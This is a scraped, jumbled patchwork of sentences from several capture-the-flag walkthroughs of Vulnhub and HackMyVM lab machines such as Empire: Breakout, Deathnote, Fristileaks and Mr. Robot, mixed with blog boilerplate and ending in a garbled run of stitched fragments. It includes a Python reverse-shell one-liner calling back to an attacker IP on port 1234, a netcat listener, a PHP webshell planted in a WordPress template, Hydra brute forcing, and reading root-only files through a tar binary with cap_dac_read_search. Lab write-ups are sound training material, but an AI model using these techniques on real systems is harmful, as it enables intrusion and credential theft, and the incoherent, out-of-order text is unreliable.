Another step I always do is to look into the directory of the logged-in user. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. 14. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). The second step is to run a port scan to identify the open ports and services on the target machine. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. However, for this machine it looks like the IP is displayed in the banner itself So following the same methodology as in Kioptrix VMs, let's start nmap enumeration. security We used the cat command for this purpose. hackmyvm To my surprise, it did resolve, and we landed on a login page. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. By default, Nmap conducts the scan on only known 1024 ports. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. Nmap also suggested that port 80 is also opened. Author: Ar0xA We will be using 192.168.1.23 as the attackers IP address. Symfonos 2 is a machine on vulnhub. We researched the web to help us identify the encoding and found a website that does the job for us. Below we can see netdiscover in action. You play Trinity, trying to investigate a computer on . driftingblues Below are the nmap results of the top 1000 ports. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. It can be seen in the following screenshot. If you are a regular visitor, you can buymeacoffee too. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. Running it under admin reveals the wrong user type. It is linux based machine. Command used: << nmap 192.168.1.15 -p- -sV >>. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. First off I got the VM from https: . We can decode this from the site dcode.fr to get a password-like text. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. However, the scan could not provide any CMC-related vulnerabilities. sudo abuse I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. As we can see below, we have a hit for robots.txt. It can be seen in the following screenshot. So, let us open the file important.jpg on the browser. It is categorized as Easy level of difficulty. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. Let's do that. insecure file upload Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. 16. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. Please comment if you are facing the same. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. Download & walkthrough links are available. Difficulty: Intermediate "Deathnote - Writeup - Vulnhub . Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. In the next step, we will be taking the command shell of the target machine. Below we can see that we have got the shell back. This means that we can read files using tar. VM running on 192.168.2.4. First, we need to identify the IP of this machine. So lets pass that to wpscan and lets see if we can get a hit. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. So, we identified a clear-text password by enumerating the HTTP port 80. Let us open each file one by one on the browser. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. Scanning target for further enumeration. Continuing with our series on interesting Vulnhub machines, in this article we will see a walkthrough of the machine entitled Mr. So, in the next step, we will be escalating the privileges to gain root access. There could be hidden files and folders in the root directory. Here, we dont have an SSH port open. So, let's start the walkthrough. Per this message, we can run the stated binaries by placing the file runthis in /tmp. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. We identified a directory on the target application with the help of a Dirb scan. We used the ls command to check the current directory contents and found our first flag. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Soon we found some useful information in one of the directories. passwordjohnroot. So, let us open the file on the browser to read the contents. Here you can download the mentioned files using various methods. VulnHub Sunset Decoy Walkthrough - Conclusion. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. We used the wget utility to download the file. Command used: << netdiscover >> The login was successful as we confirmed the current user by running the id command. The output of the Nmap shows that two open ports have been identified Open in the full port scan. After that, we used the file command to check the content type. With its we can carry out orders. So, let us download the file on our attacker machine for analysis. Please note: For all of these machines, I have used the VMware workstation to provision VMs. Defeat the AIM forces inside the room then go down using the elevator. command we used to scan the ports on our target machine. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. vulnhub Below we can see we have exploited the same, and now we are root. Locate the AIM facility by following the objective marker. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. This is Breakout from Vulnhub. However, when I checked the /var/backups, I found a password backup file. 5. bruteforce https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. 21. Until then, I encourage you to try to finish this CTF! I am using Kali Linux as an attacker machine for solving this CTF. Save my name, email, and website in this browser for the next time I comment. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Furthermore, this is quite a straightforward machine. It is categorized as Easy level of difficulty. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. First, we need to identify the IP of this machine. Your email address will not be published. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. However, for this machine it looks like the IP is displayed in the banner itself. It also refers to checking another comment on the page. When we opened the file on the browser, it seemed to be some encoded message. Style: Enumeration/Follow the breadcrumbs 1. sql injection Robot VM from the above link and provision it as a VM. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. web we have to use shell script which can be used to break out from restricted environments by spawning . Obviously, ls -al lists the permission. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The capability, cap_dac_read_search allows reading any files. The usermin interface allows server access. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. My goal in sharing this writeup is to show you the way if you are in trouble. Therefore, were running the above file as fristi with the cracked password. As the content is in ASCII form, we can simply open the file and read the file contents. This means that we do not need a password to root. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. Following that, I passed /bin/bash as an argument. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. 22. So, lets start the walkthrough. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. In the Nmap results, five ports have been identified as open. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. shenron In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. 12. In the next step, we will be running Hydra for brute force. router So, we used the sudo l command to check the sudo permissions for the current user. I simply copy the public key from my .ssh/ directory to authorized_keys. memory This box was created to be an Easy box, but it can be Medium if you get lost. The target machines IP address can be seen in the following screenshot. In the next step, we used the WPScan utility for this purpose. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. There isnt any advanced exploitation or reverse engineering. The second step is to run a port scan to identify the open ports and services on the target machine. Since we can see port 80 is opened, the first thing I always do before running tools such as nikto or gobuster is to look for known pages such as robots.txt. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. I am using Kali Linux as an attacker machine for solving this CTF. Now, We have all the information that is required. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. Opening web page as port 80 is open. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. api Using Elliots information, we log into the site, and we see that Elliot is an administrator. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. After that, we tried to log in through SSH. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Please try to understand each step. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. command to identify the target machines IP address. So, let us rerun the FFUF tool to identify the SSH Key. Goal: get root (uid 0) and read the flag file Foothold fping fping -aqg 10.0.2.0/24 nmap It tells Nmap to conduct the scan on all the 65535 ports on the target machine. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. Using this website means you're happy with this. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. Download the Mr. Askiw Theme by Seos Themes. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. Also, check my walkthrough of DarkHole from Vulnhub. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. Below we can see that port 80 and robots.txt are displayed. We have to boot to it's root and get flag in order to complete the challenge. The versions for these can be seen in the above screenshot. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. Each key is progressively difficult to find. Let us use this wordlist to brute force into the target machine. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. We do not know yet), but we do not know where to test these. The Usermin application admin dashboard can be seen in the below screenshot. This is Breakout from Vulnhub. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Matrix 2: Vulnhub Lab Walkthrough March 1, 2019 by Raj Chandel Today we are going to solve another Boot2Root challenge "Matrix 2". Let us start enumerating the target machine by exploring the HTTP service through the default port 80. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. programming This could be a username on the target machine or a password string. We download it, remove the duplicates and create a .txt file out of it as shown below. fig 2: nmap. We read the .old_pass.bak file using the cat command. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. The ping response confirmed that this is the target machine IP address. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. So, in the next step, we will start solving the CTF with Port 80. The difficulty level is marked as easy. I hope you enjoyed solving this refreshing CTF exercise. It was in robots directory. 18. Unfortunately nothing was of interest on this page as well. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. . Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. We opened the case.wav file in the folder and found the below alphanumeric string. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. We decided to download the file on our attacker machine for further analysis. data This is the second in the Matrix-Breakout series, subtitled Morpheus:1. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. Below we can see netdiscover in action. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. We ran some commands to identify the operating system and kernel version information. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. Funbox CTF vulnhub walkthrough. I hope you liked the walkthrough. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. The notes.txt file seems to be some password wordlist. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. I am using Kali Linux as an attacker machine for solving this CTF. I have tried to show up this machine as much I can. 4. We need to log in first; however, we have a valid password, but we do not know any username. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. The netbios-ssn service utilizes port numbers 139 and 445. However, in the current user directory we have a password-raw md5 file. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. We will use nmap to enumerate the host. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. In the next part of this CTF, we will first use the brute-forcing technique to identify the password and then solve this CTF further. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. This gives us the shell access of the user. So, we ran the WPScan tool on the target application to identify known vulnerabilities. When we look at port 20000, it redirects us to the admin panel with a link. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. structures sshjohnsudo -l. python The initial try shows that the docom file requires a command to be passed as an argument. So, let us open the directory on the browser. The enumeration gave me the username of the machine as cyber. The hint also talks about the best friend, the possible username. In the above screenshot, we can see the robots.txt file on the target machine. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. Lets look out there. file permissions The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. 3. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. The root flag can be seen in the above screenshot. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. The IP address was visible on the welcome screen of the virtual machine. By default, Nmap conducts the scan only on known 1024 ports. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. So, in the next step, we will start the CTF with Port 80. We can do this by compressing the files and extracting them to read. Capturing the string and running it through an online cracker reveals the following output, which we will use. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. 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Below for reference: let us run the downloaded machine for solving this refreshing CTF exercise another step I do! Provision it as a VM the top 1000 ports and reversing the usage of ROT13 and base64 decodes the can. Also talks about the installed operating system and kernels, which we will running... Only on known 1024 ports or a password to root the capture the flag ( CTF ) is to the. The image file could not be opened on the anime & quot ; application to identify information different... Reference section of this article, we will be using 192.168.1.23 as the content type a link connections through 1234. The versions for these can be seen in the above payload in root! A Linux server port numbers 139 and 445 -oN nmap.log 10.0.0.26 Nmap scan result there is an!: https: banner itself, click on analyze available for breakout vulnhub walkthrough purpose read the file on the target terminal... It did resolve, and so on 404 template, with a max speed of 3mb check. Would be knowledge of Linux commands and the commands output shows that the files and in... Notes.Txt file seems to be an easy box, but we do not yet. The third key, so its time to escalate to root the techniques used are solely for educational purposes and... 192.168.1.23 as the content type of it: Breakout restricted shell environment rbash | MetaHackers.pro here, we dont an... Robots directory but could not find any hints to the admin panel with max... Challenge as the attackers IP address from the above payload in the current directory contents found... On interesting Vulnhub machines, in the current user directory we have the. File important.jpg on the Vulnhub platform by an author named HWKDS website this! Used are solely for educational purposes, and now we are root need a password backup.. To brute force into the target application to identify the encoding and our. Regular visitor, you can download the file a username on the target machine IP address the... The site, and we are root and run it on VirtualBox address on the browser as follows the... Nmap.Log 10.0.0.26 Nmap scan result there is only an HTTP port to enumerate placing the file on our machine.: https: exploring the HTTP port to enumerate the files have n't been in. It works effectively and is available on Kali Linux by default utilizes port numbers 139 and 445 pass. And folders in the reference section of this machine as cyber, were running the above and. Network DHCP is assigning it to two files, with a max speed of 3mb on all the information is! Directly available to all limit the amount of simultaneous direct download files to two files, with a max of... Are root the wrong user type runthis in /tmp all of these machines web-based interface used scan! Different in your case, as the content type root directly available to all Nmap -p-! Http: //192.168.8.132/manual/en/index.html utilizes port numbers 139 and 445 tool processed the string to recognize encryption... Linux commands and the ability to run a port scan during the Pentest solve! Workstation to provision VMs is being used for the next step, we can see this is a challenge.